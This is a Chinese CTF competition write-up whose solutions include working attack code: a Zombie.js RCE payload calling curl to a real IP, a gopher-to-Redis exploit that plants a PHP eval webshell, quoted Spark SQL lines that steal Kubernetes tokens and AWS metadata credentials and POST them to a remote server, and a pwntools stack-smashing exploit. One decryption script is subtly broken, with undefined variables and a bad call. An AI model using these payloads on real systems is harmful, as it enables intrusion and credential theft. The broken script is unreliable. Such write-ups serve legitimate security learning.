September 28, 2023

华为杯 第二届中国研究生网络安全创新大赛 Writeup

loopQR

考点:信道隐写
开局用stegsolve先看看信道,可以发现二维码
image.png
每一个图片都对应一个二维码,让gpt写一个提取脚本,批量识别二维码,然后获取最后的数据。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#根据github上仿的
from pyzbar.pyzbar import decode
from PIL import Image
import os

def decode1(img, channel, index=0):
if channel in img.mode:
new_image = Image.new('1', img.size)
new_image_data = new_image.load()

img_data = img.load()
channel_index = img.mode.index(channel)

for x in range(img.size[0]):
for y in range(img.size[1]):
color = img_data[x, y]

channel = color[channel_index]

plane = bin(channel)[2:].zfill(8)
try:
new_image_data[x, y] = 255 * int(plane[abs(index - 7)])
except IndexError:
pass
return new_image

def decode2(image_path):
img = Image.open(image_path)
for channel in img.mode:
green_plane_image = decode1(img, channel, 0)
decoded_objects = decode(green_plane_image)
if decoded_objects:
decoded_text=decoded_objects[0].data.decode('utf-8')
print(f"{file},信道为{channel},二维码内容为:{decoded_text},")
return decoded_text
else:
continue
return None

if __name__ == "__main__":
res=""
#当前目录,题目目录
for file in os.listdir("./"):
if file.endswith(".png"):
decoded_text = decode2(file)
if decoded_text:
res+=decoded_text
else:
print(f"failed")
print(res)

得到的结果如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
- - He disappeared in
- - the dead of winter.
f - The brooks were frozen,
l - the airports almost deserted,
a - And snow disfigured
g - the public statues;
{ - The mercury sank in
c - the mouth of the dying day.
7 - What instruments
4 - we have agree
7 - The day of his death
9 - was a dark cold day.
d - Far from his illness
6 - The wolves ran on through
7 - the evergreen forests,
e - The peasant river was untempted
1 - by the fashionable quays;
8 - By mourning tongues
2 - The death of the poet
d - was kept from his poems.
3 - But for him
3 - it was his last
1 - afternoon as himself,
1 - An afternoon of nurses and rumours;
4 - The provinces of
8 - his body revolted,
c - The squares of
a - his mind were empty,
6 - Silence invaded
b - the suburbs,
6 - The current of his feeling failed;
6 - he became his admirers.
7 - Now he is scattered
d - among a hundred cities
1 - And wholly given over to
1 - unfamiliar affections,
d - To find his happiness
0 - in another kind of wood
d - And be punished under
} - a foreign code of conscience

首字母拼贴一下就是flag了flag{c7479d67e182d331148ca6b667d11d0d}

easyeval

考点:parse_url绕过
签到题了。
image.png
首先?ysy=file://localhost/../../../../../var/www/html/dasdjf.php读出文件内容,发现就是个普通的rce
image.png
得出flag

startschool

考点:Zoomib Nodejs RCE
就一个xss 2 rce。
源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
const express = require('express');
const path = require('path');
var fs = require('fs');
const bodyParser = require('body-parser');
var bot = require('./bot')


const app = express();

app.engine('html',require('express-art-template'))

app.use(express.static('public'));
app.use(bodyParser.json())
app.use(bodyParser.urlencoded({extended: false}))


data_path = "data.html";

//主页
app.get('/', function(req, res) {
res.sendFile(path.join(__dirname, 'public/index.html'));
});


app.post('/do', function(req, res) {
fs.writeFile('data.html'," 姓名:"+req.body.name+"<br\> 年龄:"+req.body.age+"<br\> 专业:"+req.body.subject+"<br\> 邮箱:"+req.body.mail+"\n",function(error){
console.log("wriet error")
});
bot.visit();
res.send("<script>alert('提交成功');window.location.href = '/';</script>");
});


app.route('/view')
.get(function(req, res) {
res.sendFile(path.join(__dirname, data_path));
})
.post(function(req, res) {
fs.writeFile('data.html'," 姓名:"+req.body.name+"<br\> 年龄:"+req.body.age+"<br\> 专业:"+req.body.subject+"<br\> 邮箱:"+req.body.mail+"\n",function(error){
console.log("write error")
});
res.redirect('/view');
});

app.listen(80, '0.0.0.0');

bot.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
const zombie = require("zombie")

exports.visit = async function () {
const browser = new zombie ({
waitDuration: 5*1000,
localAddress: 0
})

browser.setCookie({ name: 'admin', domain: '127.0.0.1', path:'/', httpOnly: 'true'})

browser.visit("http://127.0.0.1/view",function() {
console.log("Visited: ", "http://127.0.0.1/view")
})
}

这里很显然是zombie库的rce漏洞
<script>document.write(this["constructor"]["constructor"]("return(global.process.mainModule.constructor._load('child_process').execSync('curl http://114.116.119.253:7777').toString())")());</script>
payload如上,由于老子的vps在装死,所以我只能以回显的形式去命令执行
<script>document.write(this["constructor"]["constructor"]("return(global.process.mainModule.constructor._load('child_process').execSync('ls / > data.html').toString())")());</script>
image.png
然后
<script>document.write(this["constructor"]["constructor"]("return(global.process.mainModule.constructor._load('child_process').execSync('cat /ffffflag > data.html').toString())")());</script>
image.png

Bad Memcached

考点:PHP Memcached的CRLF注入
源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
<?php
highlight_file(__FILE__);
error_reporting(0);
$search=$_POST["search"];
$memcache = new Memcached();
$memcache->addServers(array(
array('memcached',11211)
));
function search($keyword){
global $memcache;
$v=$memcache->get($keyword);
var_dump($v);
}
class Meeeeeeeemcached{
public $key;
public function __construct()
{
echo "THis Memcached is Healthy";
}

public function __set($key, $value)
{
global $memcache;
$memcache->set($key, $value);
}
}
class Invokerrrrrrr{
public $vovo;
public $value="http://www.boogipop.com";
public $key="test";
public function __invoke()
{
$key="key".$this->key;
$this->vovo->$key=$this->value;
}
}
class SSSString{
public $xoxo;
public function __toString()
{
$xoxo=$this->xoxo;
$xoxo();
return 'invoke';
}
}

class Entrypoint{
public $zozo;
public function __destruct()
{
if(preg_match("/Welcome/",$this->zozo)){
die("Welcome");
}

}
}
if(isset($_POST['choice'])){
if($_POST['choice']==='search'){
search($search);
}
else if($_POST['choice']==='flag'){
if($memcache->get("flag")==='flag'){
//some hints are in /tmp/hint.txt
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_POST['url']);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_exec($ch);
curl_close($ch);
}
else{
exit("no auth");
}
}
else if($_POST['choice']==='unser'){
unserialize($_GET['popchain']);
}
else{
exit("input your choice");
}
}
?>

pop链是比较清晰的,invoke然后到set方法去设置memcache的键值对,我们需要让键值对flag=flag注入进去。还有个hint.txt,内容如下

1
2
redis password:boogipop_is_a_webdog
GoodLuck!

告诉了我们redis的密码,也就是需要我们通过ssrf去打有密码的redis最后写shell了。
最终exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from urllib.parse import quote
protocol="gopher://"
ip="127.0.0.1"
port="6379"
shell="\n\n<?php eval($_POST[1]);?>\n\n"
filename="shell.php"
path="/var/www/html"
passwd=""
cmd=["auth boogipop_is_a_webdog",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd

if __name__=="__main__":
for x in cmd:
payload += quote(redis_format(x))
print(payload)

记得二次编码打入
image.png

easyspark

考点:spark sql 命令执行
首先找到一篇文章
https://blog.stratumsecurity.com/2022/10/24/abusing-apache-spark-sql-to-get-code-execution/
里面给出了sparksql的命令执行方法

1
2
3
4
5
6
7
8
-- Read Kubernetes API token file
SELECT * FROM csv.`/var/run/secrets/kubernetes.io/serviceaccount/token`

-- Write the AWS keys to a file
SELECT reflect('org.apache.spark.TestUtils', 'testCommandAvailable', 'curl http://169.254.169.254/latest/meta-data/iam/security-credentials/euwe1-redacted -o /opt/test.txt')

-- Send the file contents to a remote controlled server to view
SELECT reflect('org.apache.spark.TestUtils', 'testCommandAvailable', 'curl -X POST -F data=@/opt/test.txt http://remoteserver.stratumsecurity.com/test5.txt')

这里有个问题,题目是不出网的,所以我们需要执行命令,然后读取执行的结果。然后还有个问题就是题目给的spark修复了一下上述的payload,testCommandAvailable在黑名单里,但是我们直接用concat就可以完成绕过了。
SELECT reflect('org.apache.spark.TestUtils', concat('test','CommandAvailable'), 'ls / > /tmp/res')
然后还需要一个读取文件的函数,这里我找到的是org.apache.spark.util.Utils.getPropertiesFromFile方法
image.png
image.png
可以看到有个readflag,运行他获取flag即可
image.png
image.png

一个小秘密

考点:AES Base32 解密
misc的签到
开局给了个keyMFZWIYLEMFSA====
base32解密后是asdadad
之后就拿这个密码去解密压缩包
image.png
得到了一个xml格式的文件,document.xml有一段aes加密后的密文

1
2
U2FsdGVkX1/nVMt/cXalqwb8VpS2mDk9UkTaHRPPq5TAtH8XxYVAwxtoDKe/yTN4
zBas0WHmW50e2QwglywbKyCRNsVxaKsbwwdDlcBEg20=

AES解密后得到ZmxhZ3tjMmEyMzk4YzdmMjlhNTE5MzI3YWUxMzk2YWM2Nzg1NX0=
然后baes64解密
image.png

APACHE-CGI-PWN

考点:apache cgi 栈溢出
fan编译过后看到了个cookie
image.png
然后就是栈溢出,有点像webpwn
image.png
image.png

next-prime

源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from Crypto.Util.number import *
from gmpy2 import next_prime, iroot
from flag import flag
assert flag[0:4]==b'flag'

m = bytes_to_long(flag)
assert size(m)<500

p = getPrime(512)
q = next_prime(p)

n = p * q
print('n=', n>>520)
e = 0x10001
c = pow(m, e, n)
print('c=', c)

'''
n= 28576274811010794362153160897556935178530640825011441539841241257190782139295561904323347128956873569754645071205043238985141474388531008367238218822591
c= 49502875285578675438052554215266678403659290915102322948363030271494959804587081871467110614683972929037615883922743651431683465100061968204901334627149795829429950385848753728500177164800064208215503246868631076011505268371936586645321659884527055007299822625570713613996139223348709621258028349513737798120
'''

思路
已知n的高位,p,q相近,因n已知高位较多,故采用爆破的方法,得到p,q
左移520位后对n开根,二分查找p,q即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from Crypto.Util.number import *
from gmpy2 import *


n = 28576274811010794362153160897556935178530640825011441539841241257190782139295561904323347128956873569754645071205043238985141474388531008367238218822591
c = 49502875285578675438052554215266678403659290915102322948363030271494959804587081871467110614683972929037615883922743651431683465100061968204901334627149795829429950385848753728500177164800064208215503246868631076011505268371936586645321659884527055007299822625570713613996139223348709621258028349513737798120


def find_p_q(n):
x = iroot(n<<520, 2)[0]
p, q = 0, 0
if is_prime(x):
print(x)
else:
p = x - 1
q = x + 1
while not is_prime(p) and not is_prime(q):
p -= 1
q += 1
if is_prime(p):
print("p")
p = p
q = next_prime(p)
else:
print("q")
q = q
# print(q)
p = 0
return p, q


p, q = find_p_q(n)
if p != 0:
n = p * q
e = 65537
d = invert(e, (p-1)*(q-1))
print(long_to_bytes(pow(c, d, n)))

flag{90b344ca-867d-002e-915c-4a897faf0bbe}

ez_ssp

程序事先将flag文件内容读取到栈上
之后进入for循环,循环三次,使用fork新建子进程,然后使用输入的随机数和name生成的新的随机数对flag进行加密,并且存在gets函数可以溢出

我们可以使用got表信息,覆盖___stack_chk_fail函数打印错误信息的参数,关键在于获取这一指针的偏移,打印错误信息的指针位于argv[0],使用gdb调试可以得到具体偏移数值


之后就是三次泄露地址
获取libc地址

1
2
3
4
5
6
7
libc_main_got = elf.got['__libc_start_main']
sh.sendafter("What's your name?\n","L4vender")
payload = "a"*296+p64(libc_main_got)
sh.sendlineafter("What do you want to do?\n",payload)
sh.recvuntil("stack smashing detected ***: ")
libc_base = u64(sh.recv(6).ljust(8,"\x00")) - libc.sym['__libc_start_main']
log.info("libc_base=>{}".format(hex(libc_base)))

使用_environ指针获取栈地址

1
2
3
4
5
6
7
environ_addr = libc_base + libc.symbols['_environ']
# _debug()
payload = 'A' * 296 + p64(environ_addr)
sh.sendafter("What's your name?\n","L4vender")
sh.sendlineafter("What do you want to do?\n",payload)
sh.recvuntil("stack smashing detected ***: ")
flag_addr = u64(sh.recv(6).ljust(8,"\x00")) - 0x178

泄露加密后的flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
og.info("flag_addr=>{}".format(hex(flag_addr)))
payload = 'A' * 296 + p64(flag_addr)

sh.sendafter("What's your name?\n","L4vender")

sh.sendlineafter("What do you want to do?\n",payload)
# _debug()
# s = " v|qwkdxycOycOqOtu}\x7fm\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10"
sh.recvuntil("stack smashing detected ***: ")
s = sh.recv(50)
print(s)
flag=""
num = int(input())
for _ in range(len(s)):
# print()
flag = flag + chr(ord(s[_])^num)

print(flag)

完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from pwn import *
import random
import os
context.terminal = ["tmux", "splitw", "-h"]
context(os='linux', arch='amd64', log_level='debug')
file_name = "./pwn"
libc = ELF("./libc-2.23.so")
elf = ELF("./pwn")
debug = 0
IP = "172.10.0.4"
port = 10085
if debug:
sh = process(file_name)
else:
sh =remote(IP,port)
def _debug():
gdb.attach(sh)
pause()

libc_main_got = elf.got['__libc_start_main']
sh.sendafter("What's your name?\n","L4vender")
payload = "a"*296+p64(libc_main_got)
sh.sendlineafter("What do you want to do?\n",payload)
sh.recvuntil("stack smashing detected ***: ")
libc_base = u64(sh.recv(6).ljust(8,"\x00")) - libc.sym['__libc_start_main']
log.info("libc_base=>{}".format(hex(libc_base)))
environ_addr = libc_base + libc.symbols['_environ']
# _debug()
payload = 'A' * 296 + p64(environ_addr)
sh.sendafter("What's your name?\n","Pop")
sh.sendlineafter("What do you want to do?\n",payload)

sh.recvuntil("stack smashing detected ***: ")
flag_addr = u64(sh.recv(6).ljust(8,"\x00")) - 0x178
log.info("flag_addr=>{}".format(hex(flag_addr)))
payload = 'A' * 296 + p64(flag_addr)

sh.sendafter("What's your name?\n","L4vender")

sh.sendlineafter("What do you want to do?\n",payload)
# _debug()
# s = " v|qwkdxycOycOqOtu}\x7fm\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10"

sh.recvuntil("stack smashing detected ***: ")
s = sh.recv(50)
print(s)
flag=""
num = int(input())
for _ in range(len(s)):
# print()
flag = flag + chr(ord(s[_])^num)

print(flag)
sh.interactive()

image.png

神秘端口

开局先用tshark流量分析一下
分析一下流量,写一段脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
f1=open("res.txt","r")
f2=open("res2.txt","w")
while True:
content=f1.readline().strip()
if content:
if len(content)==16:
res=''
for i in range(0,len(content),2):
if i+2 !=len(content):
res+=content[i]+content[i+1]+":"
else:
res+=content[i]+content[i+1]
f2.write(res)
f2.write("\n")
else:
break
f2.close()

image.png
得到如上数据
gpt写个脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
# 定义键盘键码到字符的映射
normal_keys_mapping = {
"04": "a", "05": "b", "06": "c", "07": "d", "08": "e", "09": "f", "0a": "g", "0b": "h", "0c": "i",
"0d": "j", "0e": "k", "0f": "l", "10": "m", "11": "n", "12": "o", "13": "p", "14": "q", "15": "r",
"16": "s", "17": "t", "18": "u", "19": "v", "1a": "w", "1b": "x", "1c": "y", "1d": "z", "1e": "1",
"1f": "2", "20": "3", "21": "4", "22": "5", "23": "6", "24": "7", "25": "8", "26": "9", "27": "0",
"28": "<RET>", "29": "<ESC>", "2a": "<DEL>", "2b": "\t", "2c": "<SPACE>", "2d": "-", "2e": "=",
"2f": "[", "30": "]", "31": "\\", "32": "<NON>", "33": ";", "34": "'", "35": "<GA>", "36": ",",
"37": ".", "38": "/", "39": "<CAP>", "3a": "<F1>", "3b": "<F2>", "3c": "<F3>", "3d": "<F4>",
"3e": "<F5>", "3f": "<F6>", "40": "<F7>", "41": "<F8>", "42": "<F9>", "43": "<F10>", "44": "<F11>",
"45": "<F12>"
}

# 定义Shift键按下时的键码到字符的映射
shift_keys_mapping = {
"04": "A", "05": "B", "06": "C", "07": "D", "08": "E", "09": "F", "0a": "G", "0b": "H", "0c": "I",
"0d": "J", "0e": "K", "0f": "L", "10": "M", "11": "N", "12": "O", "13": "P", "14": "Q", "15": "R",
"16": "S", "17": "T", "18": "U", "19": "V", "1a": "W", "1b": "X", "1c": "Y", "1d": "Z", "1e": "!",
"1f": "@", "20": "#", "21": "$", "22": "%", "23": "^", "24": "&", "25": "*", "26": "(", "27": ")",
"28": "<RET>", "29": "<ESC>", "2a": "<DEL>", "2b": "\t", "2c": "<SPACE>", "2d": "_", "2e": "+",
"2f": "{", "30": "}", "31": "|", "32": "<NON>", "33": "\"", "34": ":", "35": "<GA>", "36": "<",
"37": ">", "38": "?", "39": "<CAP>", "3a": "<F1>", "3b": "<F2>", "3c": "<F3>", "3d": "<F4>",
"3e": "<F5>", "3f": "<F6>", "40": "<F7>", "41": "<F8>", "42": "<F9>", "43": "<F10>", "44": "<F11>",
"45": "<F12>"
}

# 用于存储结果的列表
output = []

# 打开包含键码数据的文件
keys_file = open('res2.txt')

# 遍历文件的每一行
for line in keys_file:
try:
# 过滤不符合条件的行
if line[0] != '0' or (line[1] != '0' and line[1] != '2') \
or line[3] != '0' or line[4] != '0' or line[9] != '0' or line[10] != '0' \
or line[12] != '0' or line[13] != '0' or line[15] != '0' or line[16] != '0' \
or line[18] != '0' or line[19] != '0' or line[21] != '0' or line[22] != '0' \
or line[6:8] == "00":
continue

# 根据键码映射获取字符,加入到结果列表
if line[6:8] in normal_keys_mapping.keys():
output += [normal_keys_mapping[line[6:8]]] if line[1] == '2' else [shift_keys_mapping[line[6:8]]]
else:
output += ['[unknown]']
except:
pass

# 关闭文件
keys_file.close()

# 用于跟踪Shift键的状态
shift_flag = 0

# 输出结果列表中的字符
for char in output:
try:
# 移除DEL键
if char == '<DEL>':
output.remove('<DEL>')
output.remove(output[output.index('<DEL>') - 1])
except:
pass

# 转换CAP键的状态
for i in range(len(output)):
try:
if output[i] == "<CAP>":
shift_flag += 1
output.pop(i)
if shift_flag == 2:
shift_flag = 0
if shift_flag != 0:
output[i] = output[i].upper()
except:
pass

# 打印最终结果
print('output: ' + "".join(output))

得到了密码!@#qwer123_DASCTF_okok
image.png
流量包里端口均为10001、2、3,对应了信息中的四进制
再让gpt写个

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import scapy.all as s

def d(p):
pk = s.rdpcap(p)
ps = [pkt['TCP'].dport for pkt in pk]
ps = ps[10:]
grp = []
t = []

for p in ps:
if p != 200:
t.append(p)
else:
grp.append(t)
t = []

f = []

for g in grp:
fn = ""

for p in g:
fn += str(p % 10000)

f.append(fn)

dt = ""

for fn in f:
dt += chr(int(fn, 4))

print(dt, end="")
d('port.pcapng')

image.png

easy_xors

re签到题,对称加密。

1
2
3
4
5
6
7
8
9
10
11
var1 = [0xCE, 0x15, 0x0E, 0xEB, 0x8F, 0x98, 0x87, 0xC6, 0x23, 0xBE, 0x18, 0xE1, 0x42, 0xC6, 0xC6, 0x93, 0xB2, 0x9C, 0x6E, 0x81, 0x60, 0xA1, 0x0E, 0x59, 0xC7, 0xBD, 0xF0, 0x3B, 0x86, 0x84, 0x8D, 0xB3, 0xFD, 0xCD, 0x56, 0xEF, 0xD8, 0xCE, 0x6A, 0xFA, 0xF8, 0x56, 0xDB, 0xC7, 0x97, 0x2B]
var2 = [0x31] * len(a)
var3 = [0x99, 0x48, 0x5E, 0xBD, 0xC5, 0x9B, 0x85, 0x96, 0x20, 0xFC, 0x18, 0xB2, 0x00, 0xC5, 0xDA, 0xC0, 0xB1, 0xC8, 0x6C, 0x81, 0x63, 0xBD, 0x09, 0x50, 0xC2, 0xBB, 0xEC, 0x33, 0xD6, 0xD7, 0x8F, 0xAF, 0xAD, 0xCE, 0x14, 0xED, 0x8C, 0xCE, 0x6F, 0xA9, 0xA8, 0x02, 0x8C, 0x90, 0x94, 0x67]
var4 = [0] * len(a)
res =""

for i in range(len(var1)):
var4[i] = var1[i] ^ var2[i]
for i in range(len(a)):
flag += chr(var4[i] ^ var3[i])
res(flag)

flag{23a2s1bs2-b2e312-6847-9ab3-a2s3e14baeff2}

Robbie gave up

nSpy 分析后,参照 Robbie.Win() 方法写一个 C# 脚本,运行得到 flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
using System;
using System.Reflection;

namespace ConsoleApp
{
class Robbie
{
// Robbie
// Token: 0x04000084 RID: 132
private static int[] data1 = new int[]
{
... // 太长就不贴了
};
private static byte[] data2 = new byte[Robbie.data1.Length];
static void Main(string[] args)
{
for (int i = 0; i < Robbie.data1.Length; i++)
{
Robbie.data2[i] = (byte)(Robbie.data1[i] ^ i);
}
Type type = Assembly.Load(Robbie.data2).GetType("ClassLibrary1.Class1");
object obj = type.GetConstructor(Type.EmptyTypes).Invoke(new object[0]);
string flag = type.GetMethod("Method").Invoke(obj, null).ToString();
Console.WriteLine(flag);
}
}
}

flag{33419b8662e9df2ea7a787c64f946ecc}

About this Post

This post is written by Boogipop, licensed under CC BY-NC 4.0.

#WriteUp#CTF